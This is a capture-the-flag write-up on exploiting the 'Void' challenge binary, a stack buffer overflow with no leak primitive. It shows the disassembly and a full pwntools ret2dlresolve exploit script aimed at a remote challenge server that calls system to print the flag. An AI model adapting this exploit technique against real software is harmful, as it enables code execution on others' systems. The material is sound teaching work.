Introduction
My journey into the cyberapocalypse of 2023 has finaly begun. And first off is a binary exploitation box with the name Void.
CHALLENGE DESCRIPTION The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.
Recon
We are given some files to look at, a binary and the libc and linker are also given.
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/…/boxes/cyberapocalypse2023/void/challenge]
└─$ checksec void
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Lets fire up gdb with GEF to have a look at the binary by dissasembling main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤ disass main
Dump of assembler code for function main:
0x0000000000401143 <+0>: push rbp
0x0000000000401144 <+1>: mov rbp,rsp
0x0000000000401147 <+4>: sub rsp,0x10
0x000000000040114b <+8>: mov DWORD PTR [rbp-0x4],edi
0x000000000040114e <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000401152 <+15>: call 0x401122 <vuln>
0x0000000000401157 <+20>: mov eax,0x0
0x000000000040115c <+25>: leave
0x000000000040115d <+26>: ret
End of assembler dump.
gef➤ disass vuln
Dump of assembler code for function vuln:
0x0000000000401122 <+0>: push rbp
0x0000000000401123 <+1>: mov rbp,rsp
0x0000000000401126 <+4>: sub rsp,0x40
0x000000000040112a <+8>: lea rax,[rbp-0x40]
0x000000000040112e <+12>: mov edx,0xc8
0x0000000000401133 <+17>: mov rsi,rax
0x0000000000401136 <+20>: mov edi,0x0
0x000000000040113b <+25>: call 0x401030 <read@plt>
0x0000000000401140 <+30>: nop
0x0000000000401141 <+31>: leave
0x0000000000401142 <+32>: ret
End of assembler dump.
This is a typical program, calling the function vuln() wich has a buffer overflow vulnerability. The C psuedo code of vuln looks like this:
1
2
3
4
5
6
7
void vuln(void)
{
undefined local_48 [64];
read(0,local_48,200);
return;
}
This reads 200 bytes into a 64 byte characer array, so we can overflow it! Since the NX bit is set, we can’t add shellcode to the stack, so we need to use Return Oriented Programming, ROP for short.
The exploit
A standard aproach to this is using a ret2libc attack. This means we overwrite vulns return value in the base pointer by overflowing the stack and make it return to a funcion in the libc library. To be able to do this, we must leak a libc base address from the program by being able to print the information back to us using one of the pre-linked functions.
As seen beneath, from the rabin2 output, there is no function in the void program that can give us data! This is probably the reason of the boxes name!
There seems to be no way of leaking information back to us. The payload goes into the void.
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/…/boxes/cyberapocalypse2023/void/challenge]
└─$ rabin2 -i void
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x00401030 GLOBAL FUNC read
2 0x00000000 GLOBAL FUNC __libc_start_main
3 0x00000000 WEAK NOTYPE __gmon_start__
Welcome ret2dlresolve
A method to beat a room like this, is the ret2dlresolve. A method where we can take advantage of the lazy linking function of the elf file.
By lazy linking, the binary does not know the location in memory of the functions the the Procedure Linkage Table, but resolves this the first time the function is called.
This can be tricked, so that we can add a function of our choice to it, and have the system sort out the address to it. I have added some links for further reading on the subject and reccomend working trough it.
I will not go into detail about how the attack works, i leave this to far smarter people than me.
Pwntools to the rescue
Pwntools got built-in support for ret2dlresolve attacks. As much as i would like to do this manually, I seem to need more time and more practice than i currently have. And considering the content of the flag, this is perhaps ok 😊
In the following script, I set it up with pwninit, then added code from the pwntools manual
The following script is a complete solution. I encourage any reader to follow the phrack article and try to uderstand what it does. I have included a raw dump of the rop chain for study in the solution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from pwn import *
elf = ELF("./void_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elf
rop = ROP(elf)
def conn():
if args.LOCAL:
# r = process([elf.path])
r = gdb.debug([elf.path])
else:
r = remote("138.68.134.163", 31715)
return r
def main():
# good luck pwning :)
p = conn()
overflow_lenght = 64
# Build rop chain
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["cat flag.txt"])
rop.read(0, dlresolve.data_addr) # Read where to add structures
rop.ret2dlresolve(dlresolve) # Add the ret2dlresolve chains
print(rop.dump()) # Let us see what is going on!
raw_rop = rop.chain()
p.sendline(fit({overflow_lenght + context.bytes: raw_rop, 200: dlresolve.payload}))
if dlresolve.unreliable:
p.poll(True) == -signal.SIGSEGV
error("unreliable")
else:
flag = p.recvline()
success(f"FLAG FOUND: {flag.decode('utf-8')}")
if __name__ == "__main__":
main()
Further reading
- http://phrack.org/issues/58/4.html phrack article on the subject
- https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 0ctf babystack writeup
- https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve A good introduction to the subject and the pwntools solution